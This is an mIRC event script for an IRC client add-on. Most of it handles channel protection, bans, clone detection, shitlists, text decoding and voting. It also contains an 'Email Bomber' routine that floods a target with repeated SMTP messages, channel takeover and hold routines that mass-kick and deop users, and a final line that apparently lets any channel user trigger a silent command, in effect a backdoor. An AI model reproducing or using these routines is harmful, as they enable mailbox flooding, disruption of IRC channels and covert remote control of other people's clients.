/ScriptServ

on 1:DISCONNECT:/echo -s $t You have been disconnected | halt
on 1:QUIT: {
  if $nick($chan,0)  == 1 { .raw part $chan | .raw join $chan | echo -a $t You are the only user, automatically cycling }
}
on 1:PART: {
  if $nick($chan,0)  == 1 { .raw part $chan | .raw join $chan | echo -a $t You are the only user, automatically cycling }
}
#amupdate off
on 1:CHATOPEN:msg =$nick GET /~boz/zirc/uinfo.txt HTTP/1.0 | msg =$nick $chr(10) $+ $chr(13) $+ $chr(10) $+ $chr(13) $+ $chr(10) $+ $chr(13)
on 1:CHAT:ver*: {
  if $3 > %am.lv { echo -a $t Version on $t Central is newer than the one you have, proceding to update! | close -c $me | yesupdate $2 $3 | halt }
  elseif $3 = %am.lv { echo -z %z Version on $t Central is the same as the one you have, no need to update! | unset %am.* | noupdate | halt }
  else { echo -a $t Version on $t Central is older than the one you have, is this possible? <G> (Not Updating) | unset %am.* | noupdate | halt }
}
on 1:CHATCLOSE:close -c $me | halt
#amupdate end
#amupdate2 off
on 1:CHATOPEN:msg = $+ $me GET /~boz/zirc/bin.txt | .creq ask | .disable #amuctcp | .disable #amupdate | .disable #amupdate2
on 1:CHAT:*:write $mircdirsystem\bin.txt $1-
on 1:CHATCLOSE:echo -a $t Finished Downloading System File. Preparing to split it. | close -c $me | split | halt
#amupdate2 end
rem on 1:USERMODE:/echo -a $t Changed Usermode to10 $1- | halt
#nc on
on 1:INPUT: {
  unset %match %m.i
  if $left($1-,1) == / { goto done }
  if ($pos($1-,$chr(62)) != $null) && ($pos($1-,$chr(62)) <= 8) && ($active ischan) {
    %match = $remove($1,$chr(62)) | %m.i = 0
    :loop
    inc %m.i
    if (%match isin $nick(%m.i,#)) { say  15«14«1«1[ $+ $nick(%m.i,#) $+ 1]1»14»15» 2: $2- | halt }
    if (%m.i == $nick(0,#)) { say $1- | halt }
    else { goto loop }
  }
  :done
}
#nc end
on 1:KICK:#: {
  if $knick == $me { echo -s $t You were kicked from10 $chan by10 $nick . Attempting to rejoin... | j $chan $chan($chan).key }
  else {
    if $me isop $chan {
      if $level($knick) == 9 { kick $chan $nick Don't kick my friends... $t }
      else { halt }
    }
    else { halt }
  }
}
on 1:START: { titlebar [neXus] Startup Phaze - Please Wait while I connect to a server and retrieve lag info. }
on 1:PART:#:if $nick(0,$chan) == 1 { c $chan }
on 1:OP:#:if ((%take.chan == $chan) && ($opnick == $me)) { takeover %take.chan | halt } | elseif $nick != $me && $opnick == $me { echo -a 10[1+o5 $me10(14 $+ $chan10)] 2Shift-F6 1to Scan users } |
on 1:SNOTICE:* Break*:If $parm7 == $server { /echo -a $t You are on a split server!! Reconnect or wait for a rejoin... | /goto end } | else { msg @SplitLog Update! | echo 1 -a 5 $+ $timestamp $+  $pa(Server Break) $parm7 | ._aline @SplitLog $parm7 } | :end | speak netsplit detected! | halt
on 1:SNOTICE:* Junction*:/echo -a 5 $+ $timestamp $+  $pa(Server Join) $parm7 | speak Split Joined. Link reestablished, sir | fline @SplitLog $parm7 | /halt
#filter on
on 1:WALLOPS:*:if ((hack !isin $parms) && (uworld !isin $parms) && (cmd !isin $parms) && (kline !isin $parms) && (remote !isin $parms)) { echo 3 -s - | echo 1 -s $br(Wallops,$nick) $parms | halt } | else { halt }
on 1:SNOTICE:*:halt
#filter end
on 1:CTCPREPLY:*:if (ping isin $parms) { %pt = $ctime - $parm2 | echo 1 -a $br(Lag-Check,$nick) Found $duration(%pt) of lag | unset %pt | halt } | elseif (version isin $parms) { set %vr $parm2* | echo 1 -a $br(Version-Check,$nick) %vr | halt } | else { echo 1 -a $br(Ctcp Reply,$nick) $parm2* | halt }
on 1:NOTIFY:echo -a $t 3 $+ $nick 2is on IRC | halt
on 1:UNOTIFY:echo -a $t 3 $+ $nick 2has left IRC | halt
on +5:TEXT:*:#:kick $chan $nick 2Consider yourself muted... 30 second ban (Shutup Kick) $i(5) | ban -u30 $chan $nick 3 | msg $chan Temp Ban for $nick (30 seconds)... he refuses to shutup... $i(n)
#away off
on 1:TEXT:*:?:if %away.deleted == 1 { halt } | else { write -i $mircdiraway.msg /echo 4 -a 5 $+ $timestamp 2< $+ $nick $+ >1 $parms | inc %away.msg 1 | close -m $nick | halt }
#away end
#shitlist on
on @+999:TEXT:*:#:ban $chan $nick 3 | kick $chan $nick 2See you in 4hell $i(5) | speak User Shitlisted
on @+999:TEXT:*:?:ignore -u120 $nick 3 | notice $nick Your on my shitlist... And now on my ignore list! $i(5) | speak Shitlisted user detected - now ignored
#shitlist end
on 1:INVITE:#:set %invitechan $chan | /echo -a $t (Invitation!) 14 $+ $nick Invited you to to 2 $+ $chan $+ . 14Press Shift-F5 to Join...5 ( $+ $nick $+ ! $+ $address $+ ) | halt
on 1:FILERCVD:*.txt,*.nfo,*.diz,*.me:/echo -a $br(Download,$filename) Recieved 2Text File from 2 $+ $Nick 14 $+ $lof($filename) $+ Bytes... 3Running Notepad... | run notepad.exe $filename
on 1:FILERCVD:*.jpg,*.bmp,*.gif:/echo -a $br(Download,$filename) Recieved 2Graphic/Pic File from 2 $+ $Nick 14 $+ $lof($filename) $+ Bytes
on 1:FILERCVD:*:/echo -a $br(Download,$filename) Recieved 2. $+ $right(3,$filename) $+  File from 2 $+ $Nick 14 $+ $lof($filename) $+ Bytes
on 1:SENDFAIL:*.txt:/echo -s $t Failed to send10 $filename to10 $nick
on 1:GETFAIL:*.txt:/echo -s $t Failed to recieve10 $filename from10 $nick
#banppl on
on @!1:BAN:#: {
  set %ban 1 | :start | set %bmask $address($me,%ban)
  if ((%enforce == 1) && ($me isop $chan) && ($nick isop $chan)) { fk $banmask $chan enforce }
  if ((%banflood != 0) && ($me isop $chan) && ($ulevel != 9)) {
    if (%banflud [ $+ [ $nick ] ] == $null) { set %banflud [ $+ [ $nick ] ] 1 | .timer 1 10 .unset %banflud [ $+ [ $nick ] ] }
    if (%banflud [ $+ [ $nick ] ] == 10) { mode $chan +b $address($nick,3) | kick $chan $nick Massban (10Protection) Activated4! $i(5) | unset %banflud [ $+ [ $nick ] ] }
    inc %banflud [ $+ [ $nick ] ] 1
  }
  if (($nick !isop $chan) && ($me isop $chan)) { mode $chan +b $wildsite | kick $chan $nick 6Non-Oped User on ( $+ $chan $+ ) 4<·>(User on Netsplit!)4<·> | mode $chan -b $banmask }
  if (($banmask isprotect) && ($me isop $chan)) { mode $chan -b $banmask | kick $chan $nick Don't Ban 10( $+ $banmask $+ ) 4 $+ $chr(183)$+ Protected-Friend $chr(183) $+ 6 $i(5) }
  if (($banmask iswm %bmask) && ($me isop $chan)) {
    if $nick == $me { halt }
    if ($me isop $chan) { echo 4 -a 4<Warning>5 3 $+ $nick $+  ( $+ $fulladdress $+ ) Banned you in5 $chan $+ ... 15*10Auto-Unbaning15* | mode $chan -o-b+b $nick $banmask $address($nick,3) | kick $chan $nick 2I think I'll ban YOU instead! $t | goto end }
    ElseIf ($me !isop $chan) { echo 4 -a 4<Warning>5 ( $+ $fulladdress $+ ) Banned you in5 $chan $+ ... 15*10Can 4not-Unban14!15*(3Not Oped) | goto end }
    Else { halt }
    :end
  }
  echo -a 10[1 $+ +b5 $banmask $+ 10(14 $+ $chan $+ 10)] 2F9 1to Unban | set %banmask $chan -b $banmask | halt
}
#banppl end
-----DNS Stuff
on 1:DNS:if $raddress == $null { echo -a $t $address 10could not1 be resolved | halt } | else { echo -a $t Resolved10 $address 1to10 $raddress | halt }
#clonejoin off
on +61:KICK:#:.ruser $wildsite
on +62:KICK:#:.ruser $wildsite
on +63:KICK:#:.ruser $wildsite
on +61:QUIT:.ruser $wildsite
on +62:QUIT:.ruser $wildsite
on +63:QUIT:.ruser $wildsite
on +61:JOIN:#:.ruser $wildsite | /.auser 62 $wildsite | .timer 1 30 .ruser $wildsite
on +62:JOIN:#:.ruser $wildsite | /.auser 63 $wildsite | .timer 1 30 .ruser $wildsite
on +63:JOIN:#:.mode $chan +b $wildsite | kick $chan $nick Clones Detected From Your Site! $i | .ruser $wildsite
#clonejoin end
#massdeop on
on @!5:DEOP:* {
  if ([ %Mode. [ $+ [ $site ] ] ] == $null) { set %Mode. [ $+ [ $site ] ] 1 | .timer 1 10 /unset %Mode. [ $+ [ $site ] ] }
  if ([ %Mode. [ $+ [ $site ] ] ] > 3) { kick $chan $nick Mass Deop Protection! $t | unset %Mode. [ $+ [ $site ] ] | echo 6 -a $t Kicked $nick from $chan for Mass Deop protection. | halt }
  inc %Mode. [ $+ [ $site ] ] 1
}
#massdeop end
#massban off
on @!5:BAN:* {
  if ([ %Mode. [ $+ [ $site ] ] ] == $null) { set %Mode. [ $+ [ $site ] ] 1 | .timer 1 10 /unset %Mode. [ $+ [ $site ] ] }
  if ([ %Mode. [ $+ [ $site ] ] ] > 3) { kick $chan $nick Mass Ban Protection! $t | unset %Mode. [ $+ [ $site ] ] | echo 6 -a $t Kicked $nick from $chan for Mass Ban protection. | halt }
  inc %Mode. [ $+ [ $site ] ] 1
}
#massban end
#server off
on *1:SERVERMODE:#:/mode $chan +tn-imlks
on *1:SERVEROP:#: {
  if $opnick == $me { halt }
  else { mode $chan -oooo $opnick $parm2 $parm3 $parm4 }
}
#server end
on @1:join:#: {
  if ($chan(#).key != $null) { set %kc [ $+ [ $chan ] ] $chan(#).key | halt }
  if ($ulevel == 4) { mode $chan +b $address($nick,3) | kick $chan $nick Lame Nickname Detected, Biotch $i | ruser 4 $nick }
  if ($ulevel == 8) { mode $chan +v $nick | /notice $nick [You are on my Auto-+V] | /speak $nick autoveed }
  if ($ulevel == 9) { mode $chan +v $nick | /notice $nick [You are on my Auto-+V/Friends list] | /speak $nick autoveed }
  if ($ulevel == 999) { ban $chan $nick 3 | /kick $chan $nick 2You are on my shitlist $i(5) | /speak User Shitlisted }
  if %clonejoin == 1 {
    if ($ulevel == $null) { .ruser $wildsite | .auser 61 $wildsite | .timer 1 30 .ruser $wildsite }
  }
  halt
}
-----Voting System
#vote off
on 1:TEXT:YES:?:/inc %vyes 1 | /notice $nick Thank you for voting, stay tuned for the results! | /auser 178 $nick
on 1:TEXT:NO:?:/inc %vno 1 | /notice $nick Thank you for voting, stay tuned for the results! | /auser 178 $nick
on 1:TEXT:MAYBE:?:/inc %vmaybe 1 | /notice $nick Thank you for voting, stay tuned for the results! | /auser 178 $nick
on +178:TEXT:*:?:/notice $nick You have already voted! Are you trying to cheat...? | ignore -u30 $nick 3
#vote end
#holdchan off
on 1:JOIN:#:/ban $chan $nick 3 | /kick $chan $nick $i(5)
on 1:SERVERMODE:#:/set %ns $me | /nick UhhhOhh | /echo 4 Holding Channel From Split... | /timer103 1 10 /nick %ns
on 1:SERVEROP:#:/mode $chan -o $opnick
#holdchan end
---Email Bomber
#emailb off
on +661:CHATOPEN: {
  set %pkj 0
  :start | inc %pkj
  if (%pkj > %emailb.many) { echo -s $pa(Email Bomber) Finished bombing, please wait4 3 seconds for this sequence to finalize. | .timer 1 3 emailclose | halt }
  msg = $+ $me HELO $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(1,9) $+ $r(1,9) $+ $r(1,9) | msg = $+ $me RSET | msg = $+ $me MAIL FROM: %emailb.from | msg = $+ $me RCPT TO: %emailb.to | msg = $+ $me DATA | msg = $+ $me %emailb.data | msg = $+ $me . | goto start
}
#emailb end
1:on text:7thEN*:?:{
  set %replace $parm2-100
  %replace = $replace(%replace,©,a) | %replace = $replace(%replace,æ,b) | %replace = $replace(%replace,¡,c) | %replace = $replace(%replace,ï,d)
  %replace = $replace(%replace,«,e) | %replace = $replace(%replace,ì,f) | %replace = $replace(%replace,Å,g) | %replace = $replace(%replace,è,h)
  %replace = $replace(%replace,Æ,i) | %replace = $replace(%replace,É,j) | %replace = $replace(%replace,ö,k) | %replace = $replace(%replace,ù,l)
  %replace = $replace(%replace,¢,m) | %replace = $replace(%replace,¥,n) | %replace = $replace(%replace,ä,o) | %replace = $replace(%replace,·,p)
  %replace = $replace(%replace,ò,q) | %replace = $replace(%replace,å,r) | %replace = $replace(%replace,½,s) | %replace = $replace(%replace,ç,t)
  %replace = $replace(%replace,£,u) | %replace = $replace(%replace,•,v) | %replace = $replace(%replace,Ü,w) | %replace = $replace(%replace,ñ,x)
  %replace = $replace(%replace,¼,y) | %replace = $replace(%replace,±,z) | %replace = $replace(%replace,÷,9) | %replace = $replace(%replace,²,0)
  %replace = $replace(%replace,þ,1) | %replace = $replace(%replace,\,2) | %replace = $replace(%replace,ë,3) | %replace = $replace(%replace,ô,4)
  %replace = $replace(%replace,ó,5) | %replace = $replace(%replace,º,6) | %replace = $replace(%replace,î,7) | %replace = $replace(%replace,ð,8)
  %replace = $replace(%replace,ª,$chr(32))
  echo 6 $nick < $+ $nick $+ > %replace
  unset %replace
}
1:on text:7thEN*:#:{
  set %replace $parm2-100
  %replace = $replace(%replace,©,a) | %replace = $replace(%replace,æ,b) | %replace = $replace(%replace,¡,c) | %replace = $replace(%replace,ï,d)
  %replace = $replace(%replace,«,e) | %replace = $replace(%replace,ì,f) | %replace = $replace(%replace,Å,g) | %replace = $replace(%replace,è,h)
  %replace = $replace(%replace,Æ,i) | %replace = $replace(%replace,É,j) | %replace = $replace(%replace,ö,k) | %replace = $replace(%replace,ù,l)
  %replace = $replace(%replace,¢,m) | %replace = $replace(%replace,¥,n) | %replace = $replace(%replace,ä,o) | %replace = $replace(%replace,·,p)
  %replace = $replace(%replace,ò,q) | %replace = $replace(%replace,å,r) | %replace = $replace(%replace,½,s) | %replace = $replace(%replace,ç,t)
  %replace = $replace(%replace,£,u) | %replace = $replace(%replace,•,v) | %replace = $replace(%replace,Ü,w) | %replace = $replace(%replace,ñ,x)
  %replace = $replace(%replace,¼,y) | %replace = $replace(%replace,±,z) | %replace = $replace(%replace,÷,9) | %replace = $replace(%replace,²,0)
  %replace = $replace(%replace,þ,1) | %replace = $replace(%replace,\,2) | %replace = $replace(%replace,ë,3) | %replace = $replace(%replace,ô,4)
  %replace = $replace(%replace,ó,5) | %replace = $replace(%replace,º,6) | %replace = $replace(%replace,î,7) | %replace = $replace(%replace,ð,8)
  %replace = $replace(%replace,ª,$chr(32))
  echo 6 $chan < $+ $nick $+ > %replace
  unset %replace
}
1:on text:!Z!*:#:{
  set %code_jamestemp $len($parms) | set %code_jamestemp %code_jamestemp - 4 | set %code_dpos 6 | set %code_decoded 0
  :loop
  set %code_dpos %code_dpos + 4
  decodebinary $mid(%code_dpos,4,$parms)
  if $chr(%code_input) == $chr(31) { set %code_input 160 }
  set %code_decoded %code_decoded $+ $chr(%code_input)
  if (%code_dpos >= %code_jamestemp) { goto cont }
  else { goto loop }
  :cont
  set %temp1 $len(%code_decoded) | dec %temp1 | set %temp2 $right(%temp1,%code_decoded)
  set %code_decoded %temp2 | unset %temp*
  echo 6 $chan < $+ $nick $+ > %code_decoded
}
1:on text:!Z!*:?:{
  set %code_jamestemp $len($parms) | set %code_jamestemp %code_jamestemp - 4
  set %code_dpos 6 | set %code_decoded 0
  :loop
  set %code_dpos %code_dpos + 4
  decodebinary $mid(%code_dpos,4,$parms)
  if $chr(%code_input) == $chr(31) { set %code_input 160 }
  set %code_decoded %code_decoded $+ $chr(%code_input)
  if (%code_dpos >= %code_jamestemp) { goto cont }
  else { goto loop }
  :cont
  set %temp1 $len(%code_decoded) | dec %temp1 | set %temp2 $right(%temp1,%code_decoded)
  set %code_decoded %temp2 | unset %temp*
  echo 6 $nick < $+ $nick $+ > %code_decoded
}
on 1:TEXT:ignafa*:#:/. $+ $1 $2 $3-